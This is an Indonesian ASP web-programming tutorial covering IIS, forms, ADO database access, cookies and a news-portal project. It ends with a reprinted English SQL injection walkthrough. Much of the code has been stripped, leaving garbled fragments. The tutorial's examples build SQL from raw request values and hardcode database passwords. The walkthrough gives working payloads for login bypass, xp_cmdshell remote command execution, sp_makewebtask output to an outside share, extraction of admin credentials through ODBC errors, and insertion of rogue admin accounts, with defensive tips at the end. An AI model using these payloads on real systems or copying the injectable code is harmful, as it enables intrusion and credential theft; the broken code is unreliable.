ASP - Web Programming

Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.

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Introduction to ASP

Suatu ASP file dapat mengandung text, , HTML tags dan scripts. Scripts dalam suatu file ASP akan dijalankan pada sisi server.

Berbeda dengan JavaScript ataupun VBScript yang merupakan script yang dijalankan pada sisi client dimana source code halaman tidak dapat disembunyikan dari user pada saat user menggunakan fasilitas view Source.

Script ASP akan diproses diserver, dan kemudian hasil server akan dikirim ke browser client dalam bentuk response, dan kemudian kalau user melakukan view Source, maka yang nampak adalah HTML maupun script yang merupakan hasil proses, jadi ASP Script yang sebenarnya tetap tersembunyi dari user.

What you should already know

Sebelum anda mulai belajar, anda perlu memiliki pengetahuan :

WWW, HTML dan dasar pengembangan Web pages Bahasa scripting VBScript dan Visual Basic.

Pembelajaran ASP tidak terlepas dari penguasaan terhadap HTML, karena semua response yang akan dikirim dari sisi server ke sisi client (browser) harus ditampilkan dalam bentuk struktur HTML.

Jadi anda harus menguasai dasar dari HTML, pembuatan tabel, form, link dll. Jadi saran saya kalau anda belum mengerti HTML, sebaiknya mempelajarinya terlebih dahulu.

Kemudian ASP menggunakan dialek VBScript dan VB, dimana jika anda telah menguasai VB, maka proses pembelajaran ASP script akan lebih mudah.

What is ASP?

ASP singkatan dari Active Server Pages


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ASP adalah suatu program yang berjalan didalam IIS IIS singkatan dari Internet Information Services IIS merupakan free component pada Windows 2000 dan XP IIS merupakan bagian dari Windows NT 4.0 Option Pack PWS merupakan versi IIS yang lebih kecil. PWS dapat ditemukan pada Windows 95/98 CD

ASP Compatibility

ASP merupakan Technology Microsoft Untuk menjalankan IIS anda harus memiliki Windows NT 4.0 atau yang lebih Untuk menjalankan PWS anda harus memiliki Windows 95 atau lebih ChiliASP adalah teknologi yang menjalankan ASP tanpa Windows OS InstantASP adalah teknologi lain yang menjalankan ASP tanpa Windows

What is an ASP File?

Suatu file ASP pada dasarnya sama seperti suatu HTML file Suatu file ASP dapat mengandung text, HTML, XML, dan scripts Scripts dalam suatu file ASP dijalankan pada sisi Server Suatu file ASP memiliki ekstension ".asp"

How Does ASP Differ from HTML?

Ketika browser meminta suatu HTML file, server akan mengirim file tersebut. Ketika browser meminta suatu ASP file, IIS mengirim permintaan tersebut ke

ASP engine. ASP engine membaca ASP file, baris per baris, dan menjalankan script dalam file tersebut, hasil eksekusi tersebut dikirim ke browser.

What can ASP do for you?

Mengatur tampilan web page secara dinamis Melakukan respon terhadap permintaan dan data yang dikirim oleh user.melalui

form. Mengakses data atau database dan mengirim hasilnya ke browser Mengatur tampilan Web page yang lebih sesuai dengan individu Kelebihan ASP dari CGI dan Perl adalah lebih sederhana dan cepat. Lebih aman karena kode ASP tidak dapat ditampilkan oleh browser Hasil file ASP dapat ditampilkan oleh browser manapun. Menurunkan trafik network.

How to install IIS and run ASP on Windows 2000

1. From your Start Button, go to Settings, and Control Panel


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2. In the Control Panel window select Add/Remove Programs 3. In the Add/Remove window select Add/Remove Windows Components 4. In the Wizard window check Internet Information Services, click OK 5. An Inetpub folder will be created on your harddrive 6. Open the Inetpub folder, and find a folder named wwwroot 7. Create a new folder, like "MyWeb", under wwwroot. 8. Use a text editor to write some ASP code, save the file as "test1.asp" in the

"MyWeb" folder 9. Make sure your Web server is running - The installation program has added a new

icon on your task bar (this is the IIS symbol). Click on the icon and press the Start button in the window that appears.

10. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your first ASP page

How to install IIS and run ASP on Windows XP Professional

Note: You cannot run ASP on Windows XP Home Edition.

1. Insert the Windows XP Professional CD-Rom into your CD-Rom Drive 2. From your Start Button, go to Settings, and Control Panel 3. In the Control Panel window select Add/Remove Programs 4. In the Add/Remove window select Add/Remove Windows Components 5. In the Wizard window check Internet Information Services, click OK


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6. An Inetpub folder will be created on your harddrive 7. Open the Inetpub folder, and find a folder named wwwroot 8. Create a new folder, like "MyWeb", under wwwroot. 9. Use a text editor to write some ASP code, save the file as "test1.asp" in the

"MyWeb" folder 10. Make sure your Web server is running - The installation program has added a new

icon on your task bar (this is the IIS symbol). Click on the icon and press the Start button in the window that appears.

11. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your first ASP page

Halaman ASP anda yang pertama ... Step by Step

1. Ketik file berikut dengan notepad

Halaman ASP saya yang pertama

2. Simpan file sebagai test1.asp pada folder c:\Inetpub\wwwroot\MyWeb\test1.asp 3. Untuk menampilkannya aktifkan browser anda dan ketik http://localhost/MyWeb/test1.asp 4. Anda telah melakukannya! Selamat untuk halaman web ASP anda yang pertama.

The Basic Syntax Rule

Suatu ASP file normalnya mengandung HTML tags, sama seperti file HTML, dan dapat mengandung server scripts, yang dibuka dengan tanda . Server scripts akan dijalankan pada server, dan dapat mengandung ekspresi, perintah, procedure, atau operatir yang sah pada vbscript.

Tata Cara Penulisan ASP Suatu Active Server Pages terdiri dari elemen-elemen berikut :

- Tag-tag HTML

- Script


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- Text

Untuk menandai script dari HTML, gunakan tanda baca . Tag-tag dan ketentuan HTMLnya tidak berubah, sebagai contohnya perhatikan baris berikut ini :

berfungsi memulai suatu perulangan VBScript For Next. Tanda baca memberitahukan kepada IIS bahwa baris tersebut adalah script dan bukan suatu HTML. Berikut ini menunjukkan suatu gabungan antara HTML dengan script: Menandai ASP Script dari HTML Waktu Sekarang adalah

Tag-tag seperti


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StrMsg = "Selamat Pagi" End Response.write(StrMsg) `Dikirim ke browser %>

The Response Object Metoda Write pada Response Object digunakan untuk mengirim isi ke browser, lihat halaman asp anda yang pertama.

User Input

Object Request dapat digunakan untuk menerima informasi dari user melalui form, ketik script berikut ke testform1.asp:

Nama: Umur:

Request.QueryString

Perintah Request.QueryString digunakan untuk mengumpulkan informasi dari suatu form yang di submit dengan method="get", ketik script berikut ke testterima1.asp

Selamat pagi


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Jalankan testform1.asp, ketik Hendra Soewarno, dan umur 30, klik submit.

Request.Form

Perintah Request.Form digunakan untuk mengumpulkan data dari suatu form yang disubmit user dengan menggunakan method="post", ketik script berikut ke testform2.asp

Nama: Umur:

dan ketik script berikut ke testterima2.asp

Selamat pagi

Diskusi : Diskusikan dengan instruktur anda tentang perbedaan metode Get dan Post, dan keunggulan serta kelemahan.

Salah satu keunggulan pemakaian metode Post, adalah request yang kita kirim ke Server tidak tercantum pada URL browser kita yang dapat berimplikasi pada masalah security, dimana user dapat mempelajari bagaimana program kita melakukan request dan response yang dihasilkan.


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Simple database Access using ADO and ASP

Buatlah database access (c:\Inetpub\wwwroot\MyWeb\dbo\test1.mdb) dan table test1 dengan struktur berikut :

Nama Text 30 Umur Integer

Proteksi database anda dengan password 123456

The Connection

Langkah awal untuk mengakses database adalah membuka koneksi ke sumber data, dalam hal ini kita akan menggunakan ADO Connection object. Const adModeReadWrite = 3 Dim Connection Dim ConnectionString Set Connection = Server.CreateObject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=123456" Connection.Open ConnectionString

Update Using SQL Statement

Dim SSQL Dim Affected nama = request.querystring("nama") umur = request.querystring("umur") SSQL = "Insert Into test1 (nama,umur) values ('" & nama & "'," & umur & ");" Connection.Execute SSQL,Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If

Close Connection Pada akhir script anda yang membuka koneksi perlu dilakukan penutupan dengan metoda Close.

Connection.Close Set Connection = Nothing


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Show Table Records Using Recordset

Proses akses database yang biasanya dilakukan adalah proses pengambilan data dari table dalam database.

Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 Dim rs set rs = Server.CreateObject("ADODB.RecordSet") rs.Open "SELECT * FROM Test1", Connection, adOpenForwardOnly, adLockOptimistic Dim item For each item in rs.Fields Response.Write item.Name & "" next

' This will list each field in each record Do While not rs.EOF For each item in rs.Fields Response.Write item.Value & "" Next Rs.MoveNext Loop

Anda dapat juga mengambil isi recordset dengan rs("namafield")

Close Recordset

Selalu untuk ingat menutup recordset setelah selesai menggunakannya.

rs.Close set rs = nothing

Delete Record Dengan petunjuk instruktur buatlah proses hapus record.

Trouble Shooting

Jika pada proses update data dengan perintah INSERT INTO ataupun UPDATE dan DELETE, anda mendapatkan pesan kesalahan Operation must use updateable query.

Penyebab dari masalah ini karena permission untuk User IUSR_ tidak diset untuk folder dimana file .mdb anda berada :

Pada folder .mdb berada, lakukan klik kanan, pilih Properties, Security, jika tab Security tidak muncul, gunakan menu Tools, Golder Options, dan hilangkan check pada "Simple File sharing")


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The #include Directive

Anda dapat menyisipkan isi dari suatu asp file ke file asp yang lain sebelum dieksekusi oleh server, untuk melakukan hal tersebut anda dapat menggunakan direktif #include

How to Use the #include Directive

Berikut ini adalah "mylib.asp":


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Connection.Close set Connection = nothing end sub %>

Bukalah kembali database Test1.mdb dan Tambahkan table Operator :

Username Text 30 Password Text 30 Lasttime DateTime

Rancanglah form login berikut dan simpan ke index.asp:

Please Login Username

Password

Submit Reset

Dengan menggunakan frontpage, yang akan mengirim Username dan Password secara metode post ke login.asp.

Maka kita dapat menyisipkan Mylib.asp jika dibutuhkan sub bukakoneksi dan tutupkoneksi.

Ketik program berikut ke login.asp.

Menu utama


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Invalid Username or Password Tambah User Perbaiki User Hapus User Tampil User Keluar


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What is a Cookie?

Cookie sering digunakan untuk mengindentifikasi user. Sebuah cookie adalah file kecil yang ditanamkan pada computer user. Setiap kali computer yang sama melakukan permintaan terhadap suatu halaman dengan browser, akan mengirim cookie tersebut juga.

How to Create a Cookie

Perintah "Response.Cookies" digunakan untuk membuat cookie.

Catatan: Perintah Response.Cookies harus ditempatkan sebelum tag .

Pada contoh berikut, kita akan membuat sebuah cookie dengan nama "username" dan memberikan nilai sesuai dengan isi variable username kepadanya :

Anda dapat juga memberikan suatu setting expire terhadap cookie dengan penulisan:

How to Retrieve a Cookie Value

Perintah "Request.Cookies" digunakan untuk mengambil nilai dari suatu cookie.

Pada contoh berikut, kita akan menerima nilai dari cookie yang bernama "username" dan password .

Program AddLogin.asp

New Login Username


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Password

Retype

Submit Reset

New Login

New Login Username Password


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Retype 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End If

End If %>


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ASP The Global.asa file

Global.asa file merupakan suatu file optional yang mengandung deklarasi objek, variable, dan metoda yang dapat diakses oleh semua aplikasi ASP.

The Global.asa file

File Global.asa dapat mengandung informasi berikut:

Application events Session events declarations

Note: File Global.asa harus disimpan pada root directory aplikasi ASP, dan setiap aplikasi hanya dapat memiliki satu file Global.asa.

Events in Global.asa

Pada Global.asa anda dapat memberitahukan kepada aplikasi/session kapan untuk memulai dan kapan harus berakhir.

Application_OnStart Event ini terjadi ketika pemakai pertama membuka halaman aplikasi ASP.

Session_OnStart Event ini terjadi setiap kali seorang user baru membuka halaman yang pertama suatu aplikasi ASP.

Session_OnEnd Event ini terjadi setelah user mengakhiri suatu session, atau user tidak melakukan request untuk jangka waktu 20 menit.

Application_OnEnd Event ini terjadi ketika Web server di stop.

Suatu file Global.asa dapat ditulis sebagai berikut:

Sub Application_OnStart Const adModeReadWrite = 3 Const adOpenForwardOnly = 0


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Const adLockOptimistic = 3 Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog" Connection.Open ConnectionString Set Application("Connection") = Connection End Sub

Sub Session_OnStart Application("Connection").Execute "Update Visitor Set Visitor=Visitor+1;" Session.TimeOut = 5 End Sub

Sub Application_OnEnd Application("connection").close End Sub

Note: Kita tidak dapat menggunakan script ASP () pada Global.asa file.

Bukalah file test.mdb anda dan tambahkan sebuah table visitor, yang berisi sebuah field visitor.

Contoh modifikasi dengan menggunakan variable level Application dan Session pada file login.asp :

Please Login

Please Login


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Username Password Jumlah Visitor Sekarang =

Hasil modifikasi pada "mylib.asp":


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Hasil modifikasi pada login.asp :

New Page 1

Invalid Username or Password Tambah User Perbaiki User Hapus User Tampil User Keluar

Coba anda lakukan modifikasi file "addlogin.asp".

Sampai Jumpa


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Sampai Jumpa. Jumlah Visitor Sekarang =

Proyek : Membuat Portal Berita

Dengan petunjuk instruktur anda buatlah homepage untuk portal berita dengan kemampuan sebagai berikut :

1. Berita di simpan dalam suatu database file 2. Berita di isi dari web page yang telah diproteksi dengan username dan password 3. Berita ditampilkan jika sudah di approve.


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Project Portal Berita Tambahkan sebuah table dengan nama berita dengan struktur sebagai berikut :

Judul text 50 Ringkasan text 255 Isi memo Waktu date/time Username text 20 Status text 1 Id Autonumber

Primary Key Id

Perbaiki table operator, dengan menambah sebuah field Level.

global.asa

Sub Application_OnStart Const adModeReadWrite = 3 Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog" Connection.Open ConnectionString Set Application("Connection") = Connection Application("visitors")=0 End Sub

Sub Session_OnStart Application("Connection").Execute "Update Visitor Set Visitor=Visitor+1;" Application.Lock Application("visitors")=Application("visitors")+1 Application.UnLock Session.TimeOut = 5 End Sub

Sub Session_OnEnd Application.Lock


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Application("visitors")=Application("visitors")-1 Application.UnLock End Sub


mylib.asp


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Please Login

Please Login Username Password Jumlah Visitor Sekarang =

login.asp

Login status


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Invalid Username or Password


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Id = Request.QueryString("Id")

%>

New Login

New Login Username Password Retype Level


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0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End If

End If %>

logout.asp

Sampai Jumpa

Sampai Jumpa. Jumlah Visitor Sekarang =


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listberita.asp

List Berita

IDJUDULWAKTUUsernameACTION


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View, Approve, Reject View, Edit, Delete

addberita

New Berita


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New Berita Judul Ringkasan Isi


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Application("Connection").Execute SSQL, Affected

If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End If

End If %>

editberita.asp

Ed Berita


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Ed Berita Judul Ringkasan Isi 0 Then Response.write ("Sukses")


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Else Response.write ("Gagal") End If End If

End If %>

approveberita.asp

Approve

0 Then Response.write ("Approve Sukses") Else Response.write ("Approve Gagal") End If %>

viewberita.asp


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View Berita


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Project Portal Berita ASP AdRotator Component

Komponen ASP AdRotator membuat suatu object AdRotator yang menampilkan gambar yang berbeda setiap seorang user menampilkan atau melakukan refresh terhadap sebuah halaman. Sebuah text file dibutuhkan untuk menyimpan informasi dari gambar-gambar.

Buatlah sebuah file ads.txt dan simpan ke folder dbo

REDIRECT ads.asp *

images/banner1.gif http://www.w3schools.com/ Visit W3Schools 80 images/banner2.gif http://www.microsoft.com/ Visit Microsoft 20

REDIRECT ads.asp, adalah file yang akan dipanggil ketika pemakai melakukan klik terhadap banner yang ditampilkan.

angka 80 dan 20 dalam hal ini adalah perbandingan probabilitas kemunculan banner yaitu 80% banding 20%.

Ketik script berikut dan simpan dengan nama "ads.asp", simpan ke folder anda, dan laukuan browse.


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Contoh file berita.asp

Indonesia Terkini


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(c) Indonesia terkini

Membuka berita ke halaman lain dengan javascript.


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Koneksi ASP dengan SQL Server Berikut ini adalah contoh file Global.asa yang membuka koneksi ke suatu SQL server

Sub Application_OnStart Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=SQLOLEDB.1;Password=password;Persist Security Info=True;User ID=sa;Initial Catalog=databasename;Data Source=sqlservername" Connection.Open ConnectionString Set Application("Connection") = Connection Application("visitors")=0 End Sub

Sub Session_OnStart Application.Lock Application("visitors")=Application("visitors")+1 Application.UnLock Application("Connection").Execute "Update Visitor Set Visitor=Visitor+1, Lasttime = GetDate();" Session.TimeOut = 5 End Sub

Sub Session_OnEnd Application.Lock Application("visitors")=Application("visitors")-1 Application.UnLock End Sub


Contoh menjalankan Stored Procedure dengan Command

Const adCmdText = 1 Dim comm set comm = Server.CreateObject("ADODB.Command") set comm.activeconnection = Application("Connection") comm.commandtype = adCmdText comm.commandtext = "Exec REJECT_H0_AHM_DEALERS_ARTEMP " & id & ",'" & AmbilLevel() & "','" & keteranganapprove & "','" & Session("Username") & "'"


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comm.execute


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Masalah SQL Injection Salah satu permasalahan dalam pemakaian perintah SQL dalam Server Side Include adalah SQL Injection, sebagai mana anda ketahui bahwa dalam ASP Script kita banyak menggunakan perintah SQL, dan perintah SQL tersebut akan dikonstruksi pada saat Runtime berdasarkan request dari pemakai, maka resiko SQL Injection akan terjadi.

Contoh :

Misalnya kita menggunakan SQL Statement berikut ini untuk pemeriksaan username dan password.

SSQL = "Select count(*) as Ada From Operator Where Username='" & Username & "' And Password='" & Password & "';"

Username = tidak tahu Password = ' Or '1' = '1

Maka pada saat runtime konstruksi dari perintah SQL akan berubah menjadi :

Select count(*) as Ada From Operator Where Username='tidak tahu' And Password='' Or '1'='1';

Yang jika dievaluasi akan menghasilkan nilai True untuk sembarang Username, karena logika '1'='1' selamanya menghasilkan nilai True.

Solusi :

Buatlah sebuah function sebagai berikut :

Function PeriksaString(x) PeriksaString = Replace(Replace(x,"'","''"),";","") End Function

SSQL = "Select count(*) as Ada From Operator Where Username='" & PeriksaString(Username) & "' And Password='" & PeriksaString(Password) & "';"

Solusi diatas dilakukan dengan menganti semua petik tunggal dengan dua petik tunggal, dan membuang tanda ;.

Sehingga kalau metode SQL Injection dilakukan akan menghasilkan konstruksi sql sebagai berikut :


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Select count(*) as Ada From Operator Where Username='tidak tahu' And Password=''' Or ''1''=''1';


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SQL Injection Walkthrough 26 May 2002 Summary The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks. Credit: The information has been provided by SK. Details 1.0 Introduction When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection? It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need? Any web browser.

2.0 What you should look for? Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the and have potential parameters that might be useful (exploit wise).

2.1 What if you can't find any page that takes input? You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially


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for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable? Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example: - Login: hi' or 1=1-- - Pass: hi' or 1=1-- - http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--? Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.


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Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a

4.0 How do I get remote execution with SQL injection? Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP


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packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query? It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".


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To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table? We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the


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nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5

6.2 How to retrieve any data we want? Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5

We can now login as "neo" with his password "m4trix".


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6.3 How to get numeric string value? There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database? When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".


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8.0 How to avoid SQL Injection? Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from: - Input from users - Parameters from URL - Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 Where can I get more info? One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm. http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages: http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection: http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings: http://www.digitaloffense.net/wargames01/IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6 http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

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